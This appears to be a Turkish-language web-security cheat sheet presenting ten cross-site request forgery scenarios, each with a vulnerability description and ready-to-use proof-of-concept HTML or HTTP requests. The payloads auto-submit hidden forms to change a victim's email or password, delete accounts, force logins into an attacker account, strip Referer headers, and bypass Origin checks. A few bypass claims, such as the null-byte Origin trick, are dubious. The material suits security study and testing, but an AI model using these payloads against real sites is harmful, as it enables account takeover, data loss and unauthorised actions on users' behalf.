Senaryo 1 - Temel Token Eksikliği (POST)

Zafiyet: Sunucu, kritik bir POST isteğinde CSRF token kontrolü yapmıyor.

Orijinal İstek:

POST /user/change_email HTTP/1.1
Cookie: session=abc...

email=hacker@mail.com&csrf_token=XXX

PoC (Saldırı) Kodu:

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://victim.com/user/change_email" method="POST">
      <input type="hidden" name="email" value="hacker@mail.com" />
      <!-- Token KALDIRILDI -->
    </form>
  </body>
</html>

Senaryo 2 - Token Kısıtlaması Yok
Zafiyet: Sunucu, gönderilen tokenın oturum çerezi ile ilişkilendirilip ilişkilendirilmediğini (yani tokenın kurbana ait olup olmadığını) kontrol etmiyor.
Saldırı Adımları:
1. Saldırgan, kendi hesabına giriş yapar ve kendi csrf_token değerini kaydeder. (Örn: hacker_token)
2. Saldırgan, bu hacker_token değerini kurbanı hedef alan PoC formuna yerleştirir.
PoC (Saldırı) Kodu:
```
<html>
  <body onload="document.forms[0].submit()">
    <form action="https://victim.com/change_pass" method="POST">
      <input type="hidden" name="new_password" value="hacked123" />
      
      <input type="hidden" name="csrf_token" value="hacker_token" />
    </form>
  </body>
</html>
```
Senaryo 3 - Referer Başlık Kontrolü Bypass
Zafiyet: Sunucu Referer başlığında sadece ana domainin (victim.com) geçip geçmediğini kontrol ediyor, subdomainleri dikkate almıyor.
Saldırgan Yöntemi: https://victim.com.hacker.com/exploit.html veya https://hacker.com/exploit.html?referrer=https://victim.com gibi teknikler denenir.
Bu örnekte, .victim.com tekniğini kullanalım. Saldırgan, victim.com ile biten bir subdomain oluşturur: https://hacker-site.victim.com/poc.html
PoC (Saldırı) Adresi:
```
https://hacker-site.victim.com/poc.html
```
Sonuç:
Sunucu Referer başlığına bakar ve hacker-site.victim.com adresini victim.com'a ait olarak yanlış yorumlayabilir.
Senaryo 4 - Zafiyetli Metot Kullanımı (GET ile Hesap Silme)
Zafiyet: Kritik bir 'state-changing' işlem (hesap silme) için POST yerine GET metodu kullanılıyor. Bu, bir <img> veya <a> etiketi ile sömürülebilir.
Orijinal İstek:
```
GET /user/delete?id=123&confirm=true HTTP/1.1
Cookie: session=abc...
```
PoC (Saldırı) Kodu (En Basit Yöntem):
```
<img src="https://victim.com/user/delete?id=123&confirm=true" style="display:none">
```
Açıklama:
Kurbanın tarayıcısı, resmi yüklemeye çalışırken oturum çerezlerini de göndererek hesap silme isteğini tetikler.
Senaryo 5 - JSON CSRF (text/plain Yöntemi)
Zafiyet: API, application/json yerine text/plain olarak gönderilen JSON verilerini kabul ediyor ve X-Requested-With kontrolü yok.
Orijinal İstek (JSON):
```
POST /api/settings HTTP/1.1
Content-Type: application/json

{"username":"new_name"}
```
PoC (Saldırı) Kodu:
```
<form action="https://victim.com/api/settings" method="POST" enctype="text/plain">
  <input type="hidden" name='{"username":"hacked"}' value='"}' />
  
</form>
```
Açıklama:
Sunucu eğer akıllıca ayrıştırma yapmazsa, form verisini, geçerli bir JSON payload'ı olarak yorumlayabilir.
Senaryo 6 - Double Submit Cookie CSRF Bypass
Zafiyet: Uygulama, isteğin gövdesindeki/başlığındaki token ile çerezdeki tokenı eşleştirir. Ancak tokenı tekrar oluşturma (set etme) fonksiyonu zafiyetlidir.
Saldırı Adımları:
1. Saldırgan, kendi CSRF tokenını çerez olarak kurbana enjekte eder (Örn: XSS, XSS olmayan bir domainde zafiyetli bir çerez koyma, vb.).
2. Saldırgan, bu enjekte ettiği token değerini (Örn: hacker_cookie_token) PoC formuna koyar.
PoC (Saldırı) Kodu:
```
<html>
  
  <body onload="document.forms[0].submit()">
    <form action="https://victim.com/update_info" method="POST">
      <input type="hidden" name="data" value="hacked_data" />
      
      <input type="hidden" name="csrf_token" value="hacker_cookie_token" />
    </form>
  </body>
</html>
```
Senaryo 7 - Origin Kontrolü Bypass (Null Byte veya Port Kullanımı)
Zafiyet: Sunucu Origin başlığını regex ile kontrol ederken sonundaki port numarasını veya dizenin sonunu tam olarak kontrol etmez.
Saldırı Yöntemleri:
1. Port Bypass: Saldırgan, https://victim.com:8080.hacker.com gibi bir URL kullanır. (Çoğu tarayıcı Origin'i sadece https://victim.com olarak gönderir, ancak bazı sunucular yanlış kontrol edebilir.)
2. Boş Byte: Referer veya Origin başlığına Null Byte (%00) eklenerek regex kontrolünün yanlış sonuç vermesi sağlanır.
PoC (Saldırı) İsteği (Boş Byte Örneği):
```
POST /admin/action HTTP/1.1
Origin: https://victim.com%00.hacker.com
```
Açıklama:
Sunucunun regex'i victim.com'dan sonraki kısmı kontrol etmezse veya %00'da keserse bypass gerçekleşir.
Senaryo 8 - Güvenli Olmayan HTML Tag'leri ile GET CSRF
Zafiyet: Kritik işlem GET metoduyla yapılıyor ve Referer/Origin kontrolü yok.
PoC İçin Kullanılabilecek Diğer Tag'ler:
1. <script src='...'>: (API'lerde, yanıt tipi JS ise ve side-effect yaratıyorsa kullanılır.)
2. <link href='...'>: (Bazı tarayıcılar tarafından prefetch/prerender amacıyla tetiklenebilir.)
3. <iframe src='...'>: (Eski tarayıcılarda veya özel konfigürasyonlarda tetiklenebilir.)
PoC (Saldırı) Kodu (AJAX/Fetch Kullanımı):
```
<script>
// API çerezleri ile kimlik doğrulaması yapıyorsa ve CORS yanlış ayarlanmışsa çalışır
fetch('https://victim.com/api/delete_user?id=123', {
  method: 'GET',
  mode: 'cors',
  credentials: 'include' 
});
</script>
```
Açıklama:
Eğer API, CORS ayarlarını Access-Control-Allow-Credentials: true ve Access-Control-Allow-Origin: * olarak ayarlamışsa
(bkz: 4. Bölüm, CORS CSRF), bu senaryo, klasik CSRF korumalarını atlayarak doğrudan kurbanın oturumuyla XHR isteği gönderir.
Senaryo 9 - Login CSRF (Oturum Bindirme)
Zafiyet: /login endpoint'inde CSRF koruması yoktur. Saldırgan, kurbanı kendi (saldırganın) hesabına giriş yapmaya zorlar.
Neden Tehlikeli?
- Kurban, siteye girdiğini sanır ama aslında saldırganın hesabındadır.
- Kurbanın girdiği kredi kartı bilgileri, arama geçmişi veya yüklediği dosyalar saldırganın hesabına kaydedilir.
PoC (Saldırı) Kodu:
```
<html>
  <body onload="document.forms[0].submit()">
    <form action="https://victim.com/login" method="POST">
      <input type="hidden" name="user" value="hacker" />
      <input type="hidden" name="pass" value="hacker123" />
    </form>
  </body>
</html>
```
Senaryo 10 - Referer "Fail Open" (Meta Tag Trick)
Zafiyet: Sistem, Referer başlığı varsa domaini kontrol eder, ancak Referer başlığı hiç yoksa (null/empty) isteğe güvenip izin verir (Fail Open).
Saldırı Yöntemi: Saldırgan, PoC sayfasına bir meta etiketi ekleyerek tarayıcının Referer başlığı göndermesini engeller.
PoC (Saldırı) Kodu:
```
<html>
  <head>
    
    <meta name="referrer" content="no-referrer">
  </head>
  <body onload="document.forms[0].submit()">
    <form action="https://victim.com/delete_account" method="POST">
      
    </form>
  </body>
</html>
```
Sonuç:
Sunucu "Referer başlığı yok, demek ki güvenli (örneğin bookmark'tan gelmiş)" diye düşünür ve saldırıyı kabul eder.

İletişim